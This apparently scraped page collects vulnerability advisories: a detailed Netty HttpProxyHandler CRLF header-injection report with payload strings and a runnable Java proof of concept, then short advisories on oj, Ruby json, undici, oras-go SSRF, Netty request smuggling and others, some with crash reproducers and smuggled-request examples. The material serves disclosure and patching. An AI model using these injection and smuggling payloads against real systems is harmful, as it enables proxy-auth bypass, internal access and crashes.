See how ibm compares to other vendors in security performance
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions) | | Component | io.netty.handler.proxy.HttpProxyHandler | | Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers | | Impact | HTTP Header Injection in CONNECT Proxy Requests | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N | | Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
- io.netty.handler.proxy.HttpProxyHandler — newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
java // HttpProxyHandler.java:176-190 protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception { // ... HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, url, Unpooled.EMPTYBUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) { req.headers().set(HttpHeaderNames.PROXYAUTHORIZATION, authorization); }
if (outboundHeaders != null) { req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION }
return req; }
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed 2. User-provided outboundHeaders are added without any CRLF check 3. The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. An application uses HttpProxyHandler with user-influenced outboundHeaders 2. The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
java HttpHeaders headers = new DefaultHttpHeaders(false); headers.set("X-Forwarded-For", userInput); // userInput from attacker new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format: CONNECT target.com:443 HTTP/1.1 host: target.com:443 X-Forwarded-For: 1.2.3.4 Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.; import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, "target.com:443", io.netty.buffer.Unpooled.EMPTYBUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"; req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder()); ch.writeOutbound(req); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF8); out.release(); ch.finishAndReleaseAll();
System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true")); System.out.println("VULNERABLE: " + (encoded.contains("X-Admin: true") ? "YES" : "NO")); } }
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled) ---------------------------------------------------------- Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true" Header accepted: YES (validation disabled!) Wire format: CONNECT target.com:443 HTTP/1.1\r host: target.com:443\r X-Forwarded-For: 1.2.3.4\r X-Forwarded-For: 127.0.0.1\r <-- INJECTED X-Admin: true\r <-- INJECTED \r
Injected X-Admin header in wire: true VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison -------------------------------------------------------- With validation=true: SAFE: Rejected - IllegalArgumentException With validation=false: VULNERABLE: Accepted CRLF in header value! Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
java // Change HttpProxyHandler.java line 176 from: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false); // To: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
java if (outboundHeaders != null) { for (Map.Entry<String, String> entry : outboundHeaders) { HttpUtil.validateHeaderValue(entry.getValue()); } req.headers().add(outboundHeaders); }
8. Resources
- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (incomplete fix — this report) - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
As mitigations to a report from 2019 and CVE-2020-8555, Kubernetes attempts to prevent proxied connections from accessing link-local or localhost networks when making user-driven connections to Services, Pods, Nodes, or StorageClass service providers. As part of this mitigation Kubernetes does a DNS name resolution check and validates that response IPs are not in the link-local (169.254.0.0/16) or localhost (127.0.0.0/8) range. Kubernetes then performs a second DNS resolution without validation for the actual connection. If a non-standard DNS server returns different non-cached responses, a user may be able to bypass the proxy IP restriction and access private networks on the control plane.
A security issue was discovered with Kubernetes that could enable users to send network traffic to locations they would otherwise not have access to via a confused deputy attack.
ssh in OpenSSH before 10.1 allows control characters in usernames that originate from certain possibly untrusted sources, potentially leading to code execution when a ProxyCommand is used. The untrusted sources are the command line and %-sequence expansion of a configuration file. (A configuration file that provides a complete literal username is not categorized as an untrusted source.)
Impact
When undici parses a Set-Cookie header, it accepts any SameSite attribute value that contains Strict, Lax, or None as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens:
- SameSite=NoneOfYourBusiness is parsed as None, the most permissive setting. - SameSite=StrictLax is parsed as Lax, a downgrade from Strict.
Affected applications are those that consume Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forward or rely on the parsed sameSite attribute. A malicious or non-compliant server can coerce the consumer's view of a cookie's SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide.
This was introduced in undici 5.15.0 when the cookies feature was added.
Patches
Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.
Workarounds
After parsing a Set-Cookie header, validate that the resulting sameSite attribute is one of 'Strict', 'Lax', or 'None' (exact, case-insensitive) before forwarding or relying on it.
Impact
Undici's HTTP/1.1 client is vulnerable to response queue poisoning on reused keep-alive sockets. An attacker-controlled upstream server can inject an unsolicited HTTP/1.1 response onto an idle socket after a request completes. When the client dispatches the next request on that socket, it associates the injected response with the new request, causing responses to be delivered to the wrong requests.
This requires an attacker-controlled or compromised upstream HTTP/1.1 server and keep-alive connection reuse.
Patches
Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.
Workarounds
Disable keep-alive connection reuse by setting keepAliveTimeout: 0 on the Client or Pool.
Summary
Oj::Doc iterators (eachvalue, eachchild, eachleaf) are vulnerable to a heap use-after-free. When a Ruby block yielded during iteration calls doc.close or d.close, the document's heap memory is freed while the C iterator is still running. When control returns from the block, the iterator reads from the freed region, producing a use-after-free accessible from pure Ruby.
Version
- Software: oj gem - Affected: all versions with ext/oj/fast.c - Latest tested: 3.17.1 (confirmed present)
Details
The iterators in ext/oj/fast.c follow the pattern:
c // fast.c:1505 (doceachchild) static VALUE doceachchild(VALUE self, ...) { ... while (cur != NULL) { rbyield(...); // ← Ruby block executes here cur = cur->next; // ← cur is now freed if block called close() } }
rbyield can invoke arbitrary Ruby code, including calling close() on the Doc or any child node, which calls rubysizedxfree on the backing buffer. On return, the C code reads cur->next from the freed region. All three iterators are affected.
ASAN report (eachchild variant): ==253632==ERROR: AddressSanitizer: heap-use-after-free on address 0x5210000bd080 READ of size 8 at 0x5210000bd080 thread T0 #0 doceachchild /ext/oj/fast.c:1505 0x5210000bd080 is located 896 bytes inside of 4064-byte region [0x5210000bcd00, 0x5210000bdce0) freed by thread T0 here: #0 free #1 rubysizedxfree (libruby-3.3.so.3.3)
All three iterators trigger the same freed region (fd shadow bytes): 0x5210000bd080:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Reproduce
ruby require 'oj' eachchild Oj::Doc.open('[1,2]') { |doc| doc.eachchild { |d| d.close } } eachvalue Oj::Doc.open('[1,2]') { |doc| doc.eachvalue { |v| doc.close } } eachleaf Oj::Doc.open('[1,[2]]') { |doc| doc.eachleaf { |d| d.close } }
Summary
Oj.dump in object mode is vulnerable to a heap buffer overflow when serializing Exception objects with a large :indent value. The serializer allocates a buffer sized for the object's attributes but does not account for the indent bytes added on each write. With indent: 5000, the accumulation of 5,000-byte indent strings overflows the 13,150-byte heap allocation, corrupting adjacent heap memory.
Version
- Software: oj gem - Affected: all versions with ext/oj/dump.h - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/dump.h, line 75–77:
c static void fillindent(Out out, int depth) { if (0 < out->opts->indent) { memset(out->buf + out->cur, ' ', (sizet)(out->opts->indent depth));
When dumping an Exception object in :object mode, dumpobjattrs calls fillindent repeatedly for each attribute. The buffer is pre-allocated based on the serialized content but not the indentation overhead. With indent: 5000 the indent block for a nested object exceeds the remaining buffer space, producing a heap-buffer-overflow of size 5,000 at the end of the allocated region.
ASAN report: ==101656==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x527000022c5e WRITE of size 5000 at 0x527000022c5e thread T0 #0 memset #1 fillindent /ext/oj/dump.h:77 #2 dumpobjattrs /ext/oj/dumpobject.c:552 #3 dumpobj /ext/oj/dumpobject.c:80 #4 ojdumpobjval /ext/oj/dumpobject.c:708 #5 ojdumpobjtojsonusingparams /ext/oj/dump.c:817 #6 dumpbody /ext/oj/oj.c:1429 #7 dump /ext/oj/oj.c:1480 0x527000022c5e is located 0 bytes after 13150-byte region [0x52700001f900, 0x527000022c5e)
Reproduce
ruby require "oj" obj = Oj.load('{"^o":"RuntimeError"}', mode: :object) Oj.dump(obj, mode: :object, indent: 5000)
Workarounds
This is at the discretion of the developer and not a public facing option so the workaround is the develop should not use extreme indents and should not offer the option for users to dump Ruby data with unlimited indentation size.
Summary
Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte pointer into the Ruby string's internal buffer. If a callback (e.g. hashstart) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.
Version
- Software: oj gem - Affected: all versions with ext/oj/parser.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/parser.c, parserparse → parse:
c static VALUE parserparse(VALUE self, VALUE json) { const byte ptr = (const byte )StringValuePtr(json); // raw pointer into Ruby string // ... parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer }
c // parser.c:607 static void parse(ojParser p, const byte json) { const byte b = json; // ... for (; '\0' != b; b++) { // ← UAF: reads freed memory after callback resizes json
Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.
ASAN report: ==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81 READ of size 1 at 0x51900008ed81 thread T0 #0 parse /ext/oj/parser.c:607 #1 parserparse /ext/oj/parser.c:1408 0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f) freed by thread T0 here: #0 free #1 rubysizedxfree (libruby-3.3.so.3.3) Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed)
Reproduce
ruby require 'oj'
class Mutator def initialize(json) = (@json = json; @done = false)
def hashstart(key) return if @done; @done = true @json.replace('x' 1000000) # triggers String realloc, frees original buffer end
def hashend(key); end def arraystart(key); end def arrayend(key); end def addvalue(value, key); end end
json = '{"a":1,"pad":"' + ('A' 1000) + '","z":2}' parser = Oj::Parser.new(:saj) parser.handler = Mutator.new(json) parser.parse(json)
Summary
JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service.
This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.
Details
Root cause is in ext/json/fbuffer/fbuffer.h, fbufferdoinccapa().
On the IO path, the buffer is grown to FBUFFERIOBUFFERSIZE (16383), but the early return checks total capacity instead of remaining capacity:
c if (RBUNLIKELY(fb->io)) { if (fb->capa < FBUFFERIOBUFFERSIZE) { fbufferrealloc(fb, FBUFFERIOBUFFERSIZE); } else { fbufferflush(fb); }
if (RBLIKELY(requested < fb->capa)) { return; } }
If fb->len already contains JSON syntax bytes, and a string flush has 16383 - fb->len <= requested < 16383, this check returns even though there is not enough space left. fbufferappendreserved() then writes past the buffer:
c MEMCPY(fb->ptr + fb->len, newstr, char, len);
The minimal fix is to compare against the remaining capacity:
diff - if (RBLIKELY(requested < fb->capa)) { + if (RBLIKELY(requested <= fb->capa - fb->len)) { return; }
PoC
ruby require "json" require "stringio"
io = StringIO.new big = "a" 16385 big[16382] = '"' # escapable byte near the buffer boundary
JSON.dump([big], io)
Verified results:
text Ruby 4.0.5 / bundled json 2.18.0: malloc(): invalid size (unsorted) .../json/common.rb:956: [BUG] Aborted
ruby/ruby master c78418b7a0 / json 2.19.8 / ASan: heap-buffer-overflow WRITE of size 16382 fbufferappendreserved ext/json/fbuffer/fbuffer.h:145 searchflush ext/json/generator/generator.c:139 convertUTF8toJSON ext/json/generator/generator.c:231 rawgeneratejsonstring ext/json/generator/generator.c:922 cStatemgenerate ext/json/generator/generator.c:1891
Control: the same data through JSON.dump([big]) without an IO argument returns normally. The bug is specific to the IO-streaming path.
Impact
A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through JSON.dump(obj, io) or JSON::State#generate(obj, io). The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.
OpenSSH before 10.3 omits connection multiplexing confirmation for proxy-mode multiplexing sessions.
A flaw was identified in the RelaxNG parser of libxml2 related to how external schema inclusions are handled. The parser does not enforce a limit on inclusion depth when resolving nested <include> directives. Specially crafted or overly complex schemas can cause excessive recursion during parsing. This may lead to stack exhaustion and application crashes, creating a denial-of-service risk.
Impact
The issue only occurs when the CLIENT SETINFO command times out during connection establishment. The following circumstances can cause such a timeout:
1. The client is configured to transmit its identity. This can be disabled via the DisableIndentity flag. 2. There are network connectivity issues 3. The client was configured with aggressive timeouts
The impact differs by use case:
Sticky connections: Rather than using a connection from the pool on-demand, the caller can stick with a connection. Then you receive persistent out-of-order responses for the lifetime of the connection. Pipelines: All commands in the pipeline receive incorrect responses. Default connection pool usage without pipelining: When used with the default ConnPool once a connection is returned after use with ConnPool#Put the read buffer will be checked and the connection will be marked as bad due to the unread data. This means that at most one out-of-order response before the connection is discarded.
Patches We prepared a fix in https://github.com/redis/go-redis/pull/3295 and plan to release patch versions soon.
Workarounds You can prevent the vulnerability by setting the flag DisableIndentity (BTW: We also need to fix the spelling.) to true when constructing the client instance.
Credit
Akhass Wasti Ramin Ghorashi Anton Amlinger Syed Rahman Mahesh Venkateswaran Sergey Zavoloka Aditya Adarwal Abdulla Anam Abd-Alhameed Alex Vanlint Gaurav Choudhary Vedanta Jha Yll Kelani Ryan Picard
A flaw was found in the libxml2 library. This uncontrolled resource consumption vulnerability occurs when processing XML catalogs that contain repeated <nextCatalog> elements pointing to the same downstream catalog. A remote attacker can exploit this by supplying crafted catalogs, causing the parser to redundantly traverse catalog chains. This leads to excessive CPU consumption and degrades application availability, resulting in a denial-of-service condition.
A flaw was found in the cookie parsing logic of the libsoup HTTP library, used in GNOME applications and other software. The vulnerability arises when processing the expiration date of cookies, where a specially crafted value can trigger an integer overflow. This may result in undefined behavior, allowing an attacker to bypass cookie expiration logic, causing persistent or unintended cookie behavior. The issue stems from improper validation of large integer inputs during date arithmetic operations within the cookie parsing routines.
Limited path traversal when installing wheel archives
3DES salt generation has a weakness when keys are repeated.
Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Java SE executes to compromise Java SE. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Java SE accessible data.
Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted.
More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked.
Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions.
This issue affects logback: through 1.5.32 inclusive.
Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection, albeit heavily restricted.
More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate Proxy objects.
Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions.
This issue affects logback: through 1.5.33 inclusive.
Summary
oras-go's auth.Client follows the realm URL from a registry's WWW-Authenticate: Bearer challenge without validating its scheme or host. The realm field is server-controlled by design in the OCI/distribution spec — registries legitimately point token requests at a separate auth endpoint (e.g. Docker Hub's registry-1.docker.io -> auth.docker.io), so cross-host realms on public DNS names are not in themselves a vulnerability. Two specific patterns, however, are never legitimate under any registry trust model and can be abused by a malicious or compromised registry (or a man-in-the-middle on a plaintext connection):
1. SSRF to internal networks. A realm of http://169.254.169.254/... (AWS/Azure IMDS), http://10.0.0.x/... (RFC 1918), or http://127.0.0.1/... causes oras-go running on a cloud VM or corporate workstation to issue outbound HTTP requests from inside the user's trust boundary to an endpoint the user did not choose. The user's stored credentials are attached to those requests, but the principal harm is the network primitive — probing internal endpoints from the client. On IMDSv1 the response body is recoverable from log channels; on IMDSv2 the probe itself can still be used for service discovery.
2. TLS downgrade. A registry contacted over https:// can return a realm with an http:// scheme, causing oras-go to send the user's credentials over plaintext to the token endpoint. This defeats the transport security the user chose when typing https://.
What is NOT claimed
This advisory does not claim that credential forwarding to an arbitrary public attacker host through a server-controlled realm is, on its own, a vulnerability. The distribution spec defines realm as a server-controlled field; a strict same-host or same-eTLD+1 enforcement would deviate from the spec and break legitimate split-host deployments. Operators who want defense-in-depth against cross-host realm forwarding can use the opt-in Client.TrustedRealmHosts allowlist (added separately).
Affected versions
oras.land/oras-go/v2 <= v2.6.0
Severity
Medium. Network attack vector, low complexity, no privileges required, user interaction required (victim runs an oras command against the malicious or MITM'd registry), unchanged scope. Confidentiality impact is limited — IMDS probe responses can disclose information, and TLS downgrade exposes the realm request to passive observers — but the attacker does not obtain credentials beyond what the malicious endpoint already controls.
Affected code
- registry/remote/auth/client.go — Client.Do() (bearer challenge handling) - registry/remote/auth/client.go — Client.fetchBearerToken() / fetchDistributionToken / fetchOAuth2Token
The realm parameter from parseChallenge is threaded through to http.NewRequestWithContext without scheme or host validation.
CWE
- CWE-918: Server-Side Request Forgery (SSRF) - CWE-319: Cleartext Transmission of Sensitive Information
Patch
registry/remote/auth/client.go now rejects realm URLs that:
- use a scheme other than http or https - use http when the registry was contacted over https (TLS downgrade) - use an IP literal in a loopback, link-local, private, or unspecified range, unless the registry itself was reached at the same hostname (so loopback / in-cluster deployments are unaffected)
Cross-host realms on public DNS names continue to be accepted.
Credit
Reported by bugbunny.ai.
A vulnerability was detected in HdrHistogram up to 2.2.2. Affected by this issue is the function org.HdrHistogram.AbstractHistogram.decodeFromCompressedByteBuffer of the file src/main/java/org/HdrHistogram/AbstractHistogram.java. The manipulation of the argument lengthOfCompressedContents results in uncontrolled memory allocation. The attack needs to be approached locally. The exploit is now public and may be used. It is still unclear if this vulnerability genuinely exists. This issue is disputed due to the potential lack of crossing of security boundaries and the pre-requisites for a successful attack.
A flaw has been found in HdrHistogram up to 2.2.2. This affects the function org.HdrHistogram.AbstractHistogram.decodeFromByteBuffer of the file src/main/java/org/HdrHistogram/AbstractHistogram.java. This manipulation of the argument numberOfSignificantValueDigits causes uncontrolled memory allocation. The attack can only be executed locally. The exploit has been published and may be used. The actual existence of this vulnerability is currently in question. This issue is disputed due to the potential lack of crossing of security boundaries and the pre-requisites for a successful attack.
A vulnerability has been found in HdrHistogram up to 2.2.2. This vulnerability affects the function recordValueWithCount of the file src/main/java/org/HdrHistogram/AbstractHistogram.java of the component AbstractHistogram. Such manipulation of the argument Count leads to state issue. The attack can only be performed from a local environment. The exploit has been disclosed to the public and may be used. The existence of this vulnerability is still disputed at present. This issue is disputed due to the potential lack of crossing of security boundaries and the pre-requisites for a successful attack.
A vulnerability was found in HdrHistogram up to 2.2.2. This issue affects the function org.HdrHistogram.DoubleHistogram.recordValue of the file src/main/java/org/HdrHistogram/DoubleHistogram.java of the component Range Check. Performing a manipulation results in incorrect comparison. The attack is only possible with local access. The exploit has been made public and could be used. The presence of this vulnerability remains uncertain at this time. This issue is disputed due to the potential lack of crossing of security boundaries and the pre-requisites for a successful attack.
Summary The Python parser is vulnerable to a request smuggling vulnerability due to not parsing trailer sections of an HTTP request.
Impact If a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTPNOEXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.
----
Patch: https://github.com/aio-libs/aiohttp/commit/e8d774f635dc6d1cd3174d0e38891da5de0e2b6a
Summary A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.
Details When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).
This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):
POST /one HTTP/1.1 Host: localhost:8080 Transfer-Encoding: chunked
48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0
POST /two HTTP/1.1 Host: localhost:8080 Transfer-Encoding: chunked
0
The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).
Impact This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.
The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.
Disclosure
- This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html
Discussion Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1
Credit
- Credit to @JeppW for uncovering this vulnerability. - Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.
LangChain is a framework for building agents and LLM-powered applications. Prior to 1.1.14, langchain-openai's urltosize() helper (used by getnumtokensfrommessages for image token counting) validated URLs for SSRF protection and then fetched them in a separate network operation with independent DNS resolution. This left a TOCTOU / DNS rebinding window: an attacker-controlled hostname could resolve to a public IP during validation and then to a private/localhost IP during the actual fetch.
joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. in versions 1.7.1 and prior, joserfc accepts JWTs with trailing padding (==) which are not conforming to the JOSE specifications. This leads to malleability of the JWTs when consumed by joserfc. Depending on this application this might or not be an issue. This could lead to bypass of token revocation or anti-replay protection when implemented as a deny list of tokens or a deny list of token hashes. Note that ECDSA JWS are always malleable because of the malleability of ECDSA signatures (first test case in the code bellow). This makes a scheme which assumes that JWTs are not malleable brittle. However for other signatures (or MAC) schemes it might make sense to assume non malleability of the token. This issue has been fixed in version 1.7.2.